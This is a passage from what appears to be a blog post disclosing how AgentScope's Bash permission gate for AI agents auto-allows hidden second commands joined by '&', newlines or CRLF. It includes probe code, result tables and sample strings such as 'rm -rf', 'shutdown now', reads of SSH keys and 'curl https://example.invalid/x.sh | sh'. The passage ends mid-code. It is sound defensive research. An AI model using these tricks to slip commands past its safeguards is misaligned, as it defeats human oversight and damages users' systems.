&lt;p&gt;In AgentScope the flow in &lt;code&gt;Bash.check_permissions&lt;/code&gt; is, per the public issue text: injection-risk check, then the read-only check, and if the read-only classifier says yes the function returns ALLOW and the remaining layers (dangerous patterns, dangerous paths, dangerous removal paths) are never reached. The issue authors point at &lt;code&gt;src/agentscope/tool/_builtin/_bash.py&lt;/code&gt; and &lt;code&gt;_bash_parser.py&lt;/code&gt; for this. I confirmed the behavior by calling the function, not by reading the source alone.&lt;/p&gt;

&lt;p&gt;The assumption baked into a fast path like this is one sentence long: &lt;em&gt;if the string is read-only, then everything the shell will do with that string is read-only.&lt;/em&gt; That sentence is only true if your idea of "one command" matches the shell's. Here it did not.&lt;/p&gt;

&lt;h2&gt;
  
  
  What exactly does the classifier miss?
&lt;/h2&gt;

&lt;p&gt;The report on GitHub (#2470) describes the check as: if the string contains any of &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;, &lt;code&gt;||&lt;/code&gt;, &lt;code&gt;;&lt;/code&gt;, &lt;code&gt;|&lt;/code&gt;, split it and require every piece to be read-only. Otherwise judge the whole string as a single command by its head.&lt;/p&gt;

&lt;p&gt;Bash has more separators than four. A single &lt;code&gt;&amp;amp;&lt;/code&gt; runs the left side in the background and continues. A newline simply ends the command. Neither is on the list, so the string goes down the single-command path, &lt;code&gt;ls&lt;/code&gt; or &lt;code&gt;cat&lt;/code&gt; matches the read-only prefix, and the text after the separator is never inspected.&lt;/p&gt;

&lt;p&gt;Here is a direct probe of the published 2.0.11 wheel. I only call the permission check; the commands in this table were never executed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;asyncio&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;agentscope.permission&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;PermissionContext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PermissionMode&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;agentscope.tool&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Bash&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;bash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Bash&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ls; rm -rf /tmp/pwn&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cat file.txt &amp;amp; rm -rf /tmp/pwn&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cat file.txt&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;rm -rf /tmp/pwn&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
        &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;bash&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;check_permissions&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;command&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="nc"&gt;PermissionContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mode&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;PermissionMode&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DEFAULT&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;behavior&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;repr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="n"&gt;asyncio&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command string&lt;/th&gt;
&lt;th&gt;Gate verdict (2.0.11, DEFAULT mode)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ls -la&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;allow (correct)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ls; rm -rf /tmp/pwn&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ask&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ls &amp;amp;&amp;amp; rm -rf /tmp/pwn&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ask&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;`ls \&lt;/td&gt;
&lt;td&gt;xargs rm -rf`&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ls $(rm -rf /tmp/pwn)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ask&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cat file.txt &amp;amp; rm -rf /tmp/pwn&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;allow&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ls -la&amp;amp;rm -rf /tmp/pwn&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;allow&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;cat file.txt&lt;/code&gt; + newline + &lt;code&gt;rm -rf /tmp/pwn&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;allow&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;ls&lt;/code&gt; + CRLF + &lt;code&gt;rm -rf /tmp/pwn&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;allow&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;ls&lt;/code&gt; + newline + &lt;code&gt;shutdown now&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;allow&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;$(...)&lt;/code&gt; case shows the authors did think about hidden commands: command substitution is on the injection list. Two plain commands joined by a newline produce ordinary command nodes in the syntax tree, so no injection rule fires. The check does what it was written to do. The written list is just shorter than the shell's grammar.&lt;/p&gt;

&lt;h2&gt;
  
  
  Does the second command really run?
&lt;/h2&gt;

&lt;p&gt;A gate verdict is a claim about what will happen. The only way to test it is to see what happens. I built a small grid: 7 read-only heads (&lt;code&gt;ls&lt;/code&gt;, &lt;code&gt;ls -la&lt;/code&gt;, &lt;code&gt;cat f.txt&lt;/code&gt;, &lt;code&gt;head -n 5 f.txt&lt;/code&gt;, &lt;code&gt;pwd&lt;/code&gt;, &lt;code&gt;wc -l f.txt&lt;/code&gt;, &lt;code&gt;echo hi&lt;/code&gt;) times 10 separators, 70 strings in total. The second command was a harmless twin of the destructive one: &lt;code&gt;touch marker&lt;/code&gt; in a scratch directory. For each string I recorded the gate verdict and then ran the identical string with &lt;code&gt;bash -c&lt;/code&gt; (GNU bash 5.2.37, Git for Windows) and checked whether the marker file appeared.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Separator&lt;/th&gt;
&lt;th&gt;Strings&lt;/th&gt;
&lt;th&gt;Second command ran&lt;/th&gt;
&lt;th&gt;Auto-allowed by fast path&lt;/th&gt;
&lt;th&gt;Allowed &lt;strong&gt;and&lt;/strong&gt; it ran&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;`\&lt;/td&gt;
&lt;td&gt;\&lt;/td&gt;
&lt;td&gt;`&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;`\&lt;/td&gt;
&lt;td&gt;`&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;&amp;amp;&lt;/code&gt; with spaces&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;7&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;&amp;amp;&lt;/code&gt; with no spaces&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;5&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;newline&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;7&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CRLF&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;7&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;blank line&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;7&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;&amp;amp;&lt;/code&gt; then newline&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;7&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Total&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;70&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;63&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;40&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;40&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D1000%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522semicolon%2522%252C%2522%2526%2526%2522%252C%2522%257C%257C%2522%252C%2522pipe%2522%252C%2522%2526%2520%2528spaced%2529%2522%252C%2522%2526%2520%2528tight%2529%2522%252C%2522newline%2522%252C%2522CRLF%2522%252C%2522blank%2520line%2522%252C%2522%2526%2520%252B%2520newline%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522read-only%2520fast%2520path%2520%2528AgentScope%25202.0.11%2529%2522%252C%2522data%2522%253A%255B0%252C0%252C0%252C0%252C7%252C5%252C7%252C7%252C7%252C7%255D%252C%2522backgroundColor%2522%253A%2522%2523dc2626%2522%257D%252C%257B%2522label%2522%253A%2522strict%2520plain-word%2520allowlist%2522%252C%2522data%2522%253A%255B0%252C0%252C0%252C0%252C0%252C0%252C0%252C0%252C0%252C0%255D%252C%2522backgroundColor%2522%253A%2522%252316a34a%2522%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Auto-allowed%2520AND%2520the%2520hidden%2520second%2520command%2520ran%2520%2528of%25207%2520per%2520separator%2529%2522%252C%2522fontSize%2522%253A17%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%252C%2522stepSize%2522%253A1%252C%2522max%2522%253A7%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522commands%2522%257D%257D%255D%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D1000%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522semicolon%2522%252C%2522%2526%2526%2522%252C%2522%257C%257C%2522%252C%2522pipe%2522%252C%2522%2526%2520%2528spaced%2529%2522%252C%2522%2526%2520%2528tight%2529%2522%252C%2522newline%2522%252C%2522CRLF%2522%252C%2522blank%2520line%2522%252C%2522%2526%2520%252B%2520newline%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522read-only%2520fast%2520path%2520%2528AgentScope%25202.0.11%2529%2522%252C%2522data%2522%253A%255B0%252C0%252C0%252C0%252C7%252C5%252C7%252C7%252C7%252C7%255D%252C%2522backgroundColor%2522%253A%2522%2523dc2626%2522%257D%252C%257B%2522label%2522%253A%2522strict%2520plain-word%2520allowlist%2522%252C%2522data%2522%253A%255B0%252C0%252C0%252C0%252C0%252C0%252C0%252C0%252C0%252C0%255D%252C%2522backgroundColor%2522%253A%2522%252316a34a%2522%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Auto-allowed%2520AND%2520the%2520hidden%2520second%2520command%2520ran%2520%2528of%25207%2520per%2520separator%2529%2522%252C%2522fontSize%2522%253A17%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%252C%2522stepSize%2522%253A1%252C%2522max%2522%253A7%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522commands%2522%257D%257D%255D%257D%257D%257D" alt="Bar chart of auto-allowed strings where the hidden second command ran, per separator" width="2000" height="840"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Three details worth reading closely.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;||&lt;/code&gt; row is not a safe separator. The second command did not run only because the first one succeeded, so the marker never appeared. The gate asked anyway, which is the right call, since &lt;code&gt;ls /missing || touch marker&lt;/code&gt; would run it.&lt;/li&gt;
&lt;li&gt;In the tight &lt;code&gt;&amp;amp;&lt;/code&gt; row, 2 of 7 were not auto-allowed: &lt;code&gt;ls&amp;amp;touch marker&lt;/code&gt; and &lt;code&gt;pwd&amp;amp;touch marker&lt;/code&gt; produced a first word (&lt;code&gt;ls&amp;amp;touch&lt;/code&gt;) that matched nothing on the read-only list, so the verdict was "passthrough" and the normal flow applied. &lt;code&gt;ls -la&amp;amp;...&lt;/code&gt; and &lt;code&gt;cat f.txt&amp;amp;...&lt;/code&gt; still got through. A bypass that depends on how the first word tokenizes is exactly the kind a model produces by accident.&lt;/li&gt;
&lt;li&gt;The CRLF row ran the second command even though the first line is technically &lt;code&gt;ls\r&lt;/code&gt;, which bash cannot find. The failed first command did not stop the second.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I want to be careful about what this proves. The harmless twin shows that when the gate says allow, bash runs both halves. It does not, by itself, prove the gate would allow the destructive twin in every case, because a head-only classifier ignores the tail by construction. The verdict-only probe with &lt;code&gt;rm -rf&lt;/code&gt; strings (never run) matches the public issue's table.&lt;/p&gt;

&lt;h2&gt;
  
  
  Is this a one-off bug or a family?
&lt;/h2&gt;

&lt;p&gt;It is a family, and the project's tracker shows it. Besides the separator reports (#2470 and #3473), the same package has public reports for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;tee&lt;/code&gt; listed as read-only&lt;/strong&gt; (#3313): a file-writing command on the read-only list. In my 2.0.11 run, &lt;code&gt;echo KEY | tee -a /tmp/authorized_keys&lt;/code&gt; returned "passthrough", not "allow", so I could not reproduce that one on the latest release. I include it because the report is open, not because it reproduces.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Shell variables hiding paths&lt;/strong&gt; (#3016): in my run &lt;code&gt;cat $HOME/.ssh/id_rsa&lt;/code&gt; was allowed while &lt;code&gt;cat ${HOME}/.ssh/id_rsa&lt;/code&gt; asked. Same file, two spellings, two verdicts.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Options that execute things:&lt;/strong&gt; &lt;code&gt;rg --pre ./x.sh foo .&lt;/code&gt; was allowed in my run. &lt;code&gt;rg --pre&lt;/code&gt; runs a preprocessor command for each file, so "read-only" depends on flags, not on the command name. A pull request to stop treating it as read-only (#3255) was closed on 2026-10-29 without being merged, and I do not know the reason.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;VulDB&lt;/strong&gt; lists CVE-2026-123023 against AgentScope up to 2.0.8, naming &lt;code&gt;check_permissions&lt;/code&gt; in &lt;code&gt;_bash.py&lt;/code&gt;. I could not retrieve the entry's full text, so I am not claiming it is the separator bug.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The user-granted rules have the same shape. One commenter on #2470 reported that an "always allow" rule such as &lt;code&gt;git status:*&lt;/code&gt; matches by prefix, and that a plain rule like &lt;code&gt;npm install&lt;/code&gt; matches by substring. I probed the matching function alone (not the whole permission engine) on 2.0.11:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Rule&lt;/th&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;Matcher says&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;git status:*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;`git status &amp;amp;&amp;amp; curl &lt;a href="https://example.invalid/x.sh" rel="noopener noreferrer"&gt;https://example.invalid/x.sh&lt;/a&gt; \&lt;/td&gt;
&lt;td&gt;sh`&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;git status:*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;`git status ; curl &lt;a href="https://example.invalid/x.sh" rel="noopener noreferrer"&gt;https://example.invalid/x.sh&lt;/a&gt; \&lt;/td&gt;
&lt;td&gt;sh`&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;git status:*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;git status&lt;/code&gt; + newline + &lt;code&gt;curl ...&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;False&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;npm install&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;echo hi; npm install; curl https://example.invalid/y.sh&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;True&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Whether the rest of the engine then asks anyway, I did not test. As a design smell it is the same sentence again: the rule was written for one command and is matched against a string that may contain several.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D400%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522horizontalBar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522%25232470%2520separators%2520%2528opened%2520Aug%252031%2529%2522%252C%2522%25233016%2520%2524HOME%2520hides%2520paths%2520%2528Sep%252029%2529%2522%252C%2522%25233313%2520tee%2520as%2520read-only%2520%2528Oct%252014%2529%2522%252C%2522%25233473%2520separators%2520again%2520%2528Oct%252025%2529%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522days%2520open%2520as%2520of%2520Nov%25205%2522%252C%2522data%2522%253A%255B66%252C37%252C22%252C11%255D%252C%2522backgroundColor%2522%253A%2522%25237c3aed%2522%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Four%2520public%2520AgentScope%2520Bash-gate%2520reports%252C%2520all%2520still%2520open%2520on%2520Nov%25205%2522%252C%2522fontSize%2522%253A17%257D%252C%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522scales%2522%253A%257B%2522xAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522days%2522%257D%257D%255D%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D400%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522horizontalBar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522%25232470%2520separators%2520%2528opened%2520Aug%252031%2529%2522%252C%2522%25233016%2520%2524HOME%2520hides%2520paths%2520%2528Sep%252029%2529%2522%252C%2522%25233313%2520tee%2520as%2520read-only%2520%2528Oct%252014%2529%2522%252C%2522%25233473%2520separators%2520again%2520%2528Oct%252025%2529%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522days%2520open%2520as%2520of%2520Nov%25205%2522%252C%2522data%2522%253A%255B66%252C37%252C22%252C11%255D%252C%2522backgroundColor%2522%253A%2522%25237c3aed%2522%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Four%2520public%2520AgentScope%2520Bash-gate%2520reports%252C%2520all%2520still%2520open%2520on%2520Nov%25205%2522%252C%2522fontSize%2522%253A17%257D%252C%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522scales%2522%253A%257B%2522xAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522days%2522%257D%257D%255D%257D%257D%257D" alt="Horizontal bar chart of days each public AgentScope Bash gate report has been open on 2026-11-05" width="1600" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What does a gate that matches the shell's grammar look like?
&lt;/h2&gt;

&lt;p&gt;The principle from the trailing-dot post in this series applies unchanged: validate the thing the system will actually do, and prefer "allowed only here" to "blocked there". A deny-list of separators is the wrong shape, because the shell's grammar is bigger than any list you will remember. Here is the blunt version I tested.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;

&lt;span class="n"&gt;SAFE_ARGV0&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ls&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cat&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;head&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;tail&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;pwd&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;wc&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;echo&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;grep&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;PLAIN&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[A-Za-z0-9_./=:@%+,\- ]+&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;strict_gate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
